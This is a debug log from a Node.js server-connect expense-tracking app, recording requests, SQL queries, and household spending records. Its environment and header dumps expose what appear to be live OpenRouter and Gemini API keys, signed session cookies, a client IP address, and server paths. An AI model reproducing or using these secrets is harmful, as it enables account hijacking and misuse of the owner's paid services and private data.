2026-02-02T08:37:19.504Z server-connect:output restrict: undefined
2026-02-02T08:37:19.505Z server-connect:router Render template masters/collections
2026-02-02T08:37:19.505Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/collections',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AvmzjpJs378fK3BcHyXb7mw%3D%3D.sfZG3SFPLHdMenTwpRpDYr0ik2w36Zu9nSaj9HJuYYL0RdDS5ht6cQCX1VpZ5JrimXhtziDaikJbtyY%2FlNmjfVkv%2FqrkefYcGFdM50Zv5Z1wMLRFOxMDSx2VtkJHZZi7Gg58qIKkz56q8noNfc08KM8ranNc%2FSYwxB1vDUiHRFc%3D.WyEweLcHmuNyDQvzED8Cc7uxwcMcBSHEAOp5QgFxAyw; your_r_git.sid=s%3AtfyySIgIbZv3kKkBtlb0I3nBxeTBxnwX.rccU7%2FunZjzONRsds6VBQAZvetl%2F0vRnR3Ol0HYj6Qc',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-03T08:36:29.365Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/collections',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/collections',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/collections',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AvmzjpJs378fK3BcHyXb7mw%3D%3D.sfZG3SFPLHdMenTwpRpDYr0ik2w36Zu9nSaj9HJuYYL0RdDS5ht6cQCX1VpZ5JrimXhtziDaikJbtyY%2FlNmjfVkv%2FqrkefYcGFdM50Zv5Z1wMLRFOxMDSx2VtkJHZZi7Gg58qIKkz56q8noNfc08KM8ranNc%2FSYwxB1vDUiHRFc%3D.WyEweLcHmuNyDQvzED8Cc7uxwcMcBSHEAOp5QgFxAyw; your_r_git.sid=s%3AtfyySIgIbZv3kKkBtlb0I3nBxeTBxnwX.rccU7%2FunZjzONRsds6VBQAZvetl%2F0vRnR3Ol0HYj6Qc',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-02T08:37:19.783Z server-connect:router Serving serverConnect /api/masters/collections/collection-category
2026-02-02T08:37:19.783Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-02T08:37:19.783Z server-connect:app Executing action step identify
2026-02-02T08:37:19.783Z server-connect:app options: { provider: 'security' }
2026-02-02T08:37:19.784Z server-connect:output identity: 1
2026-02-02T08:37:19.784Z server-connect:app Executing action step restrict
2026-02-02T08:37:19.784Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-02T08:37:19.784Z server-connect:app Executing action step identify
2026-02-02T08:37:19.784Z server-connect:app options: { provider: 'security' }
2026-02-02T08:37:19.784Z server-connect:output identity: 1
2026-02-02T08:37:19.784Z server-connect:app Executing action step restrict
2026-02-02T08:37:19.784Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-02T08:37:19.784Z server-connect:output restrict: undefined
2026-02-02T08:37:19.784Z server-connect:app Executing action step select
2026-02-02T08:37:19.784Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'collection_type' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `name` from `collection_type` where `collection_type`.`deleted` = ?'
  }
}
2026-02-02T08:37:19.785Z server-connect:output restrict: undefined
2026-02-02T08:37:19.785Z server-connect:app Executing action step paged
2026-02-02T08:37:19.785Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-02T08:37:19.787Z server-connect:output list: [
  { id: 1, name: 'Unit' },
  { id: 2, name: 'Transaction Type' },
  { id: 3, name: 'Account Type' },
  { id: 4, name: 'Loan Mode' },
  { id: 5, name: 'Account Transactions' },
  { id: 6, name: 'Trading Platform' },
  { id: 7, name: 'Loan Type' },
  { id: 8, name: 'Supplement Brand' },
  { id: 9, name: 'Diecast Brand' },
  { id: 10, name: 'Diecast Series' },
  { id: 11, name: 'Vehicle Brand' }
]
2026-02-02T08:37:19.789Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 172,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      name: 'Account Deposit',
      id: 19,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Salary Credit',
      id: 20,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'ATM Withdrawal',
      id: 21,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Account Transfer',
      id: 22,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Credit Card Payment',
      id: 25,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Card Swipe',
      id: 26,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Direct Payment',
      id: 38,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Auto Debit',
      id: 39,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Savings',
      id: 14,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Current',
      id: 15,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Petty Cash',
      id: 18,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Credit Card',
      id: 24,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Demat',
      id: 43,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Hotwheels',
      id: 71,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Majorette',
      id: 72,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Matchbox',
      id: 73,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Bburago',
      id: 74,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Maisto',
      id: 143,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'CCA',
      id: 158,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Mainline',
      id: 75,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Premium',
      id: 76,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Treasure Hunt',
      id: 77,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Super Treasure Hunt',
      id: 78,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Car Culture',
      id: 79,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Red Line Club',
      id: 80,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2026-02-02T08:37:20.642Z server-connect:router Serving templateView /expense/list
2026-02-02T08:37:20.642Z server-connect:app Executing action step identify
2026-02-02T08:37:20.643Z server-connect:app options: { provider: 'security' }
2026-02-02T08:37:20.643Z server-connect:output identity: 1
2026-02-02T08:37:20.643Z server-connect:app Executing action step restrict
2026-02-02T08:37:20.643Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-02T08:37:20.643Z server-connect:output restrict: undefined
2026-02-02T08:37:20.643Z server-connect:router Render template expense/list
2026-02-02T08:37:20.643Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/expense/list',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AvmzjpJs378fK3BcHyXb7mw%3D%3D.sfZG3SFPLHdMenTwpRpDYr0ik2w36Zu9nSaj9HJuYYL0RdDS5ht6cQCX1VpZ5JrimXhtziDaikJbtyY%2FlNmjfVkv%2FqrkefYcGFdM50Zv5Z1wMLRFOxMDSx2VtkJHZZi7Gg58qIKkz56q8noNfc08KM8ranNc%2FSYwxB1vDUiHRFc%3D.WyEweLcHmuNyDQvzED8Cc7uxwcMcBSHEAOp5QgFxAyw; your_r_git.sid=s%3AtfyySIgIbZv3kKkBtlb0I3nBxeTBxnwX.rccU7%2FunZjzONRsds6VBQAZvetl%2F0vRnR3Ol0HYj6Qc',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-03T08:36:29.365Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/expense/list',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/expense/list',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/expense/list',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AvmzjpJs378fK3BcHyXb7mw%3D%3D.sfZG3SFPLHdMenTwpRpDYr0ik2w36Zu9nSaj9HJuYYL0RdDS5ht6cQCX1VpZ5JrimXhtziDaikJbtyY%2FlNmjfVkv%2FqrkefYcGFdM50Zv5Z1wMLRFOxMDSx2VtkJHZZi7Gg58qIKkz56q8noNfc08KM8ranNc%2FSYwxB1vDUiHRFc%3D.WyEweLcHmuNyDQvzED8Cc7uxwcMcBSHEAOp5QgFxAyw; your_r_git.sid=s%3AtfyySIgIbZv3kKkBtlb0I3nBxeTBxnwX.rccU7%2FunZjzONRsds6VBQAZvetl%2F0vRnR3Ol0HYj6Qc',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-02T08:37:20.930Z server-connect:router Serving serverConnect /api/expense/list
2026-02-02T08:37:20.931Z server-connect:app Executing action step identify
2026-02-02T08:37:20.931Z server-connect:app options: { provider: 'security' }
2026-02-02T08:37:20.931Z server-connect:output identity: 1
2026-02-02T08:37:20.931Z server-connect:app Executing action step restrict
2026-02-02T08:37:20.931Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-02T08:37:20.931Z server-connect:output restrict: undefined
2026-02-02T08:37:20.931Z server-connect:app Executing action step paged
2026-02-02T08:37:20.931Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'expense' },
    primary: 'id',
    joins: [ [Object], [Object] ],
    query: 'select `expense`.`invoice_number`, `expense`.`quantity`, `expense`.`purchase_date`, `expense`.`receipt_url`, `expense`.`remark`, `expense`.`amount`, `sc`.`subcategory_name` as `item_name`, `c1`.`name` as `unit` from `expense` inner join `sub_categories` as `sc` on `sc`.`id` = `expense`.`category_id` inner join `collections` as `c1` on `c1`.`id` = `expense`.`unit` where (`expense`.`amount` = ? or `sc`.`subcategory_name` like ? or `c1`.`name` like ?) order by `expense`.`purchase_date` DESC',
    orders: [ [Object] ],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-02T08:37:20.933Z server-connect:router Serving serverConnect /api/masters/get-tags
2026-02-02T08:37:20.933Z server-connect:app Executing action step identify
2026-02-02T08:37:20.933Z server-connect:app options: { provider: 'security' }
2026-02-02T08:37:20.934Z server-connect:output identity: 1
2026-02-02T08:37:20.934Z server-connect:app Executing action step restrict
2026-02-02T08:37:20.934Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-02T08:37:20.934Z server-connect:output restrict: undefined
2026-02-02T08:37:20.934Z server-connect:app Executing action step select
2026-02-02T08:37:20.934Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'm_tags' },
    primary: 'id',
    joins: [],
    query: 'select `id`, `tag` from `m_tags`'
  }
}
2026-02-02T08:37:20.936Z server-connect:output list: [
  { id: 1, tag: 'Gadgets' },
  { id: 2, tag: 'Waste of money' },
  { id: 3, tag: 'Relax' },
  { id: 4, tag: 'Luxury' },
  { id: 5, tag: 'Needs' },
  { id: 6, tag: 'Swiggy' },
  { id: 7, tag: 'Zomato' },
  { id: 8, tag: 'Bills' },
  { id: 9, tag: 'EMIs' },
  { id: 10, tag: 'Blinkit' },
  { id: 11, tag: 'Instamart' }
]
2026-02-02T08:37:20.947Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 1955,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 1950 },
    current: 1,
    total: 79
  },
  data: [
    {
      invoice_number: 1239,
      quantity: '1.00',
      purchase_date: '2025-12-07T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '189.00',
      item_name: 'Clothing',
      unit: 'Other'
    },
    {
      invoice_number: 1244,
      quantity: '1.00',
      purchase_date: '2025-12-07T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '300.00',
      item_name: 'Gas Bill',
      unit: 'Other'
    },
    {
      invoice_number: 1237,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '95.00',
      item_name: 'App Subscription',
      unit: 'Other'
    },
    {
      invoice_number: 1238,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '348.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1240,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '110.00',
      item_name: 'fruits',
      unit: 'Other'
    },
    {
      invoice_number: 1242,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '72.00',
      item_name: 'Paneer',
      unit: 'Other'
    },
    {
      invoice_number: 1242,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '80.00',
      item_name: 'Paneer Masala',
      unit: 'Other'
    },
    {
      invoice_number: 1231,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '55.00',
      item_name: 'Milk',
      unit: 'Other'
    },
    {
      invoice_number: 1232,
      quantity: '2.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '210.00',
      item_name: 'Petrol',
      unit: 'Litres'
    },
    {
      invoice_number: 1233,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '585.00',
      item_name: 'Vegetables',
      unit: 'Other'
    },
    {
      invoice_number: 1234,
      quantity: '8.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '1432.00',
      item_name: 'HotWheels',
      unit: 'Piece'
    },
    {
      invoice_number: 1235,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '397.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1236,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '111.00',
      item_name: 'Online Order',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '118.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '110.00',
      item_name: 'Raw Chicken',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '30.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '120.00',
      item_name: 'Egg',
      unit: 'Other'
    },
    {
      invoice_number: 1243,
      quantity: '2.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '184.00',
      item_name: 'GoodKnight Liquid',
      unit: 'Piece'
    },
    {
      invoice_number: 1243,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '519.00',
      item_name: 'Pre workout muscle blaze',
      unit: 'Other'
    },
    {
      invoice_number: 1227,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '3818.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1228,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '20.00',
      item_name: 'Pani Puri',
      unit: 'Other'
    },
    {
      invoice_number: 1228,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '230.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1229,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '143.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1219,
      quantity: '2.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '210.00',
      item_name: 'Petrol',
      unit: 'Litres'
    },
    {
      invoice_number: 1220,
      quantity: '1.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '125.00',
      item_name: 'HotWheels World',
      unit: 'Other'
    },
    {
      invoice_number: 1221,
      quantity: '1.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '71.00',
      item_name: 'Vegetables',
      unit: 'Other'
    }
  ]
}
2026-02-02T09:18:13.498Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-02T09:18:13.499Z server-connect:router Serving serverConnect /api/expense/last-invoice
2026-02-02T09:18:13.499Z server-connect:app Executing action step identify
2026-02-02T09:18:13.499Z server-connect:app options: { provider: 'security' }
2026-02-02T09:18:13.499Z server-connect:output identity: 1
2026-02-02T09:18:13.500Z server-connect:app Executing action step restrict
2026-02-02T09:18:13.500Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-02T09:18:13.500Z server-connect:app Executing action step identify
2026-02-02T09:18:13.500Z server-connect:app options: { provider: 'security' }
2026-02-02T09:18:13.500Z server-connect:output identity: 1
2026-02-02T09:18:13.500Z server-connect:app Executing action step restrict
2026-02-02T09:18:13.500Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-02T09:18:13.501Z server-connect:output restrict: undefined
2026-02-02T09:18:13.501Z server-connect:app Executing action step select
2026-02-02T09:18:13.501Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-02T09:18:13.502Z server-connect:output restrict: undefined
2026-02-02T09:18:13.502Z server-connect:app Executing action step single
2026-02-02T09:18:13.502Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object] ],
    params: [],
    table: { name: 'expense' },
    primary: 'id',
    joins: [],
    groupBy: [],
    query: 'select max(`invoice_number`) as `max_invoice` from `expense`'
  }
}
2026-02-02T09:18:13.503Z server-connect:output list: [
  { name: 'Litres', id: 1 },
  { name: 'KG', id: 2 },
  { name: 'Piece', id: 4 },
  { name: 'Pounds', id: 5 },
  { name: 'Other', id: 11 },
  { name: 'EMI', id: 12 },
  { name: 'Premium', id: 13 },
  { name: 'GM', id: 29 },
  { name: 'Packet', id: 30 },
  { name: 'Tablet', id: 31 },
  { name: 'Strip', id: 32 },
  { name: 'Full Plate', id: 33 },
  { name: 'Half Plate', id: 34 },
  { name: 'Meter', id: 35 },
  { name: 'Bottle', id: 36 },
  { name: 'Glass', id: 37 },
  { name: 'Plate', id: 58 }
]
2026-02-02T09:18:13.506Z server-connect:output last_invoice: { max_invoice: 1244 }
2026-02-02T09:19:06.362Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-02T09:19:06.362Z server-connect:router Serving serverConnect /api/expense/last-invoice
2026-02-02T09:19:06.362Z server-connect:app Executing action step identify
2026-02-02T09:19:06.362Z server-connect:app options: { provider: 'security' }
2026-02-02T09:19:06.363Z server-connect:output identity: 1
2026-02-02T09:19:06.363Z server-connect:app Executing action step restrict
2026-02-02T09:19:06.363Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-02T09:19:06.363Z server-connect:app Executing action step identify
2026-02-02T09:19:06.363Z server-connect:app options: { provider: 'security' }
2026-02-02T09:19:06.363Z server-connect:output identity: 1
2026-02-02T09:19:06.363Z server-connect:app Executing action step restrict
2026-02-02T09:19:06.363Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-02T09:19:06.364Z server-connect:output restrict: undefined
2026-02-02T09:19:06.364Z server-connect:app Executing action step single
2026-02-02T09:19:06.364Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object] ],
    params: [],
    table: { name: 'expense' },
    primary: 'id',
    joins: [],
    groupBy: [],
